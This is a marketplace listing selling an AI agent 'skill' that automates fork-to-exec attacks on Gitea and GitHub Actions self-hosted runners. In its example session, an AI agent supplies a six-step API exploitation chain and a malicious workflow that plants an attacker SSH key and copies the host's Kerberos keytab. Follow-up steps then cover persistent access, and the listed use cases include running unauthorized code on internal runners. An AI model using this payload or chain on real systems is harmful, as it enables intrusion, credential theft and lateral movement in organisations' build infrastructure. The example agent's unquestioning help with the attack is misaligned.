Works with the AI tools you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIGitHub CopilotGitHub CopilotGemini CLIGemini CLI+20 more

    ci runner abuse

    1

    Automate fork-to-exec attacks on Gitea and GitHub Actions runners to escalate privileges and extract domain credentials.

    $5

    Secure checkout via Stripe

    30-day refund guarantee

    Converts to your local currency at checkout

    0 installsSecurity scanned
    ci runner abuse

    ci runner abuse

    Example session with this skill installed

    I have access to an internal Gitea instance. I need to get code execution on the 'build-runner-01' box using a fork-to-exec technique. Walk me through the API calls.

    • Read your context and instructions
    • Compiled the ci runner abuse

    Successfully outlined the fork-to-exec exploitation chain for the internal Gitea runner.

    Gitea Runner Abuse Execution Plan

    StepActionAPI Endpoint / MethodPayload Notes
    1Identity CheckGET /api/v1/userVerify AD-to-Git mapping via SPNEGO
    2Fork RepoPOST /repos/{org}/{repo}/forksSend {}, requires non-empty body
    3Enable ActionsPATCH /repos/{forkowner}/{repo}{"has_actions":true}
    4Upload WorkflowPOST /repos/{forkowner}/{repo}/contents/.gitea/workflows/pwn.ymlBase64 encode the YAML payload
    5Create PRPOST /repos/{org}/{repo}/pullsEnsure fork is ahead of upstream
    6Trigger ExecPOST /repos/{org}/{repo}/pulls/{id}/reviewsEvent must be COMMENT

    Malicious Workflow Configuration

    name: persistence
    on:
      pull_request_review_comment:
        types: [created]
    jobs:
      exploit:
        runs-on: build-runner-01
        steps:
          - run: |
              mkdir -p ~/.ssh
              echo "ssh-ed25519 AAAAC3N... attacker@proxy" >> ~/.ssh/authorized_keys
              cp /etc/krb5.keytab /tmp/runner.keytab
              chmod 644 /tmp/runner.keytab
    

    Next steps

    1. Run kinit with the compromised user to establish the SPNEGO session for curl.
    2. Monitor GET /repos/{forkowner}/{repo}/actions/runs to verify the job leaves the queued state.
    3. Attempt SSH connection to the runner IP using the planted public key.

    Connects securely to your tools. The creator never sees your data.

    What you get

    Escalate from git user to runner service account via fork workflows.Extract Kerberos keytabs from self-hosted CI runners.Diagnose why CI jobs are stuck in queued status during a pentest.Verify PR trigger events for Gitea Actions API exploitation.

    About this skill

    The problem

    CI/CD pipelines often execute workflows from forks, allowing users to gain unauthorized code execution on self-hosted runners. Internal runners frequently run as service accounts with elevated domain privileges or stored Kerberos keytabs, creating a high-value pivot point.

    What it does

    • Identifies internal Gitea and GitHub Actions runners via API discovery and identity mapping.
    • Diagnoses runner scope starvation to confirm if a runner will execute jobs from forked repositories.
    • Automates the fork-to-exec chain by configuring fork actions and deploying malicious YAML workflows.
    • Provides precise API trigger sequences for events like pull_request_review_comment to bypass common execution failures.
    • Extracts high-value artifacts including Kerberos keytabs and SSH authorized keys from the runner context.

    Why this beats prompting it yourself

    Generic LLMs often miss the technical nuances of CI/CD event triggers, such as the difference between issue comments and review comments which can stall an engagement for hours. This skill provides a verified end-to-end flow that accounts for common pitfalls like fork-scope starvation and specific API payload requirements that standard prompts overlook.

    Use cases

    • Executing unauthorized code on internal self-hosted runners to capture service account flags.
    • Pivoting from a low-privilege git user to an AD-joined service account via runner keytabs.
    • Testing the security posture of internal Gitea instances against fork-based workflow abuse.

    Known limitations

    Requires valid credentials or SPNEGO authentication to the internal git server. Success depends on the runner being configured to process fork-created jobs.

    How to install

    Works the same in every agent - Claude, Cursor, Codex, Copilot and 20+ more.

    ~30 seconds
    1. 1

      Download the ZIP

      Free skills download straight away. Paid skills unlock right after purchase.

    2. 2

      Unzip into your skills folder

      Every agent reads skills from one folder on your machine. Drop the unzipped folder in there.

    3. 3

      Ask your agent to use it

      Restart the agent if it was already running. It picks the skill up automatically - no config needed.

    Skills folder by agent

    Click the path to copy it. Create the folder if it does not exist yet.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill passes our trust checks below.

    Security scanned

    Passed our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    30-day refund

    Not a fit? Get your money back

    Trust & safety

    Security scanned

    Verified clean 7 days ago

    • Passed all security checks, Safe to install

    Listed7 days ago

    What's inside

    Frequently Asked Questions